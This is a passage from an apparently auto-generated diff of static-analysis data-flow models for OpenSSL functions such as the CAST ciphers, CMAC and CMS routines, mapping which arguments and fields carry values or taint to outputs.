"Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "BUF_reverse", "(unsigned char *,const unsigned char *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BUF_reverse", "(unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BUF_reverse", "(unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[*0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "CAST_decrypt", "(unsigned int *,const CAST_KEY *)", "", "Argument[*1].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CAST_decrypt", "(unsigned int *,const CAST_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ecb_encrypt", "(const unsigned char *,unsigned char *,const CAST_KEY *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ecb_encrypt", "(const unsigned char *,unsigned char *,const CAST_KEY *,int)", "", "Argument[*2].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ecb_encrypt", "(const unsigned char *,unsigned char *,const CAST_KEY *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ecb_encrypt", "(const unsigned char *,unsigned char *,const CAST_KEY *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_encrypt", "(unsigned int *,const CAST_KEY *)", "", "Argument[*1].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CAST_encrypt", "(unsigned int *,const CAST_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CAST_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "CERTIFICATEPOLICIES_free", "(CERTIFICATEPOLICIES *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "CERTIFICATEPOLICIES_free", "(CERTIFICATEPOLICIES *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "CMAC_CTX_copy", "(CMAC_CTX *,const CMAC_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "CMAC_CTX_get0_cipher_ctx", "(CMAC_CTX *)", "", "Argument[*0].Field[**cctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CMAC_CTX_get0_cipher_ctx", "(CMAC_CTX *)", "", "Argument[*0].Field[*cctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMAC_Final", "(CMAC_CTX *,unsigned char *,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "CMAC_Init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *)", "", "Argument[2]", "Argument[*0].Field[**cctx].Field[*key_len]", "value", "dfc-generated"] + - ["", "", True, "CMAC_Init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *)", "", "Argument[3]", "Argument[*0].Field[**cctx].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "CMAC_Init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *)", "", "Argument[3]", "Argument[*0].Field[**cctx].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "CMAC_Init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *)", "", "Argument[4]", "Argument[*0].Field[**cctx].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "CMAC_Update", "(CMAC_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*last_block]", "value", "dfc-generated"] + - ["", "", True, "CMAC_Update", "(CMAC_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[*last_block]", "taint", "dfc-generated"] + - ["", "", True, "CMAC_Update", "(CMAC_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*last_block]", "taint", "dfc-generated"] + - ["", "", True, "CMAC_Update", "(CMAC_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*nlast_block]", "value", "dfc-generated"] + - ["", "", True, "CMAC_Update", "(CMAC_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*tbl]", "taint", "dfc-generated"] + - ["", "", True, "CMS_AuthEnvelopedData_create_ex", "(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_AuthEnvelopedData_create_ex", "(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CMS_AuthEnvelopedData_create_ex", "(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_AuthEnvelopedData_create_ex", "(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CMS_ContentInfo_free", "(CMS_ContentInfo *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "CMS_ContentInfo_free", "(CMS_ContentInfo *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "CMS_ContentInfo_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_ContentInfo_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CMS_ContentInfo_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_ContentInfo_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CMS_ContentInfo_print_ctx", "(BIO *,const CMS_ContentInfo *,int,const ASN1_PCTX *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_ContentInfo_print_ctx", "(BIO *,const CMS_ContentInfo *,int,const ASN1_PCTX *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_EncryptedData_decrypt", "(CMS_ContentInfo *,const unsigned char *,size_t,BIO *,BIO *,unsigned int)", "", "Argument[3]", "Argument[*3].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_EncryptedData_encrypt_ex", "(BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_EncryptedData_encrypt_ex", "(BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CMS_EncryptedData_encrypt_ex", "(BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_EncryptedData_encrypt_ex", "(BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CMS_EnvelopedData_create_ex", "(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_EnvelopedData_create_ex", "(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CMS_EnvelopedData_create_ex", "(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_EnvelopedData_create_ex", "(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CMS_EnvelopedData_decrypt", "(CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_EnvelopedData_dup", "(const CMS_EnvelopedData *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "CMS_EnvelopedData_dup", "(const CMS_EnvelopedData *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CMS_EnvelopedData_dup", "(const CMS_EnvelopedData *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "CMS_EnvelopedData_dup", "(const CMS_EnvelopedData *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CMS_EnvelopedData_dup", "(const CMS_EnvelopedData *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *)", "", "Argument[*0]", "ReturnValue[*].Field[**signedContentIdentifier].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *)", "", "Argument[*4]", "ReturnValue[*].Field[**receiptsTo]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *)", "", "Argument[0]", "ReturnValue[*].Field[**signedContentIdentifier].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *)", "", "Argument[1]", "ReturnValue[*].Field[**signedContentIdentifier].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *)", "", "Argument[4]", "ReturnValue[*].Field[*receiptsTo]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0_ex", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**signedContentIdentifier].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0_ex", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *)", "", "Argument[*4]", "ReturnValue[*].Field[**receiptsTo]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0_ex", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[**signedContentIdentifier].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0_ex", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *)", "", "Argument[1]", "ReturnValue[*].Field[**signedContentIdentifier].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0_ex", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *)", "", "Argument[4]", "ReturnValue[*].Field[*receiptsTo]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_free", "(CMS_ReceiptRequest *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "CMS_ReceiptRequest_free", "(CMS_ReceiptRequest *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "CMS_ReceiptRequest_get0_values", "(CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "CMS_ReceiptRequest_get0_values", "(CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **)", "", "Argument[*0]", "Argument[**4]", "taint", "df-generated"] + - ["", "", True, "CMS_ReceiptRequest_get0_values", "(CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "CMS_ReceiptRequest_get0_values", "(CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "CMS_RecipientEncryptedKey_cert_cmp", "(CMS_RecipientEncryptedKey *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_RecipientEncryptedKey_cert_cmp", "(CMS_RecipientEncryptedKey *,X509 *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CMS_RecipientInfo_kari_orig_id_cmp", "(CMS_RecipientInfo *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_RecipientInfo_kari_orig_id_cmp", "(CMS_RecipientInfo *,X509 *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CMS_RecipientInfo_kekri_id_cmp", "(CMS_RecipientInfo *,const unsigned char *,size_t)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_RecipientInfo_kekri_id_cmp", "(CMS_RecipientInfo *,const unsigned char *,size_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_RecipientInfo_kekri_id_cmp", "(CMS_RecipientInfo *,const unsigned char *,size_t)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_RecipientInfo_ktri_cert_cmp", "(CMS_RecipientInfo *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_RecipientInfo_ktri_cert_cmp", "(CMS_RecipientInfo *,X509 *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CMS_RecipientInfo_type", "(CMS_RecipientInfo *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[*1]", "Argument[**0].Field[**data].Field[**keyInfo]", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[*1]", "Argument[**0].Field[**keyInfo]", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[*2]", "Argument[**0].Field[**data].Field[**entityUInfo]", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[*2]", "Argument[**0].Field[**entityUInfo]", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[1]", "Argument[**0].Field[**data].Field[*keyInfo]", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[1]", "Argument[**0].Field[*keyInfo]", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[2]", "Argument[**0].Field[**data].Field[*entityUInfo]", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[2]", "Argument[**0].Field[*entityUInfo]", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[3]", "Argument[**0].Field[**suppPubInfo].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "CMS_SignedData_free", "(CMS_SignedData *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "CMS_SignedData_free", "(CMS_SignedData *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "CMS_SignedData_verify", "(CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "CMS_SignedData_verify", "(CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_cert_cmp", "(CMS_SignerInfo *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_SignerInfo_cert_cmp", "(CMS_SignerInfo *,X509 *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_algs", "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_algs", "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_algs", "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_algs", "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[**4]", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_algs", "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_algs", "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_algs", "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_algs", "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_md_ctx", "(CMS_SignerInfo *)", "", "Argument[*0].Field[**mctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_get0_md_ctx", "(CMS_SignerInfo *)", "", "Argument[*0].Field[*mctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_get0_pkey_ctx", "(CMS_SignerInfo *)", "", "Argument[*0].Field[**pctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_get0_pkey_ctx", "(CMS_SignerInfo *)", "", "Argument[*0].Field[*pctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_get0_signature", "(CMS_SignerInfo *)", "", "Argument[*0].Field[**signature]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_get0_signature", "(CMS_SignerInfo *)", "", "Argument[*0].Field[*signature]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_set1_signer_cert", "(CMS_SignerInfo *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*signer]", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_verify_content", "(CMS_SignerInfo *,BIO *)", "", "Argument[*1].Field[**next_bio].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_verify_content", "(CMS_SignerInfo *,BIO *)", "", "Argument[*1].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "CMS_add0_cert", "(CMS_ContentInfo *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_add0_cert", "(CMS_ContentInfo *,X509 *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_ReceiptRequest", "(CMS_SignerInfo *,CMS_ReceiptRequest *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_cert", "(CMS_ContentInfo *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_cert", "(CMS_ContentInfo *,X509 *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_crl", "(CMS_ContentInfo *,X509_CRL *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_crl", "(CMS_ContentInfo *,X509_CRL *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_recipient", "(CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_recipient", "(CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "CMS_add1_recipient", "(CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_recipient_cert", "(CMS_ContentInfo *,X509 *,unsigned int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_recipient_cert", "(CMS_ContentInfo *,X509 *,unsigned int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_signer", "(CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_signer", "(CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_signer", "(CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int)", "", "Argument[2]", "ReturnValue[*].Field[**pctx].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "CMS_add1_signer", 